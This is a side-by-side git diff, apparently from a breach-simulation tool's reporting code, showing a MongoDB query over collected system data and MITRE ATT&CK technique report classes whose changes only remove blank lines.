{'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]}, {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
'name': {'$literal': 'Running process list'}}, 'name': {'$literal': 'Running process list'}},
{'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
'name': {'$literal': 'Network connections'}}, 'name': {'$literal': 'Network connections'}},
{'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]}, {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
'name': {'$literal': 'SSH info'}}, 'name': {'$literal': 'SSH info'}},
{'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
'name': {'$literal': 'Azure info'}} 'name': {'$literal': 'Azure info'}}
]}}, ]}},
{'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
{"$replaceRoot": {"newRoot": "$_id"}}] {"$replaceRoot": {"newRoot": "$_id"}}]

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1086(AttackTechnique): class T1086(AttackTechnique):
tech_id = "T1086" tech_id = "T1086"
unscanned_msg = "Monkey didn't run powershell." unscanned_msg = "Monkey didn't run powershell."
scanned_msg = "" scanned_msg = ""

View File

@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1090(AttackTechnique): class T1090(AttackTechnique):
tech_id = "T1090" tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy." unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = "" scanned_msg = ""
@ -20,5 +19,3 @@ class T1090(AttackTechnique):
data = T1090.get_base_data_by_status(status) data = T1090.get_base_data_by_status(status)
data.update({'proxies': monkeys}) data.update({'proxies': monkeys})
return data return data

View File

@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1105(AttackTechnique): class T1105(AttackTechnique):
tech_id = "T1105" tech_id = "T1105"
unscanned_msg = "Monkey didn't try to copy files to any systems." unscanned_msg = "Monkey didn't try to copy files to any systems."
scanned_msg = "Monkey tried to copy files, but failed." scanned_msg = "Monkey tried to copy files, but failed."

Some files were not shown because too many files have changed in this diff Show More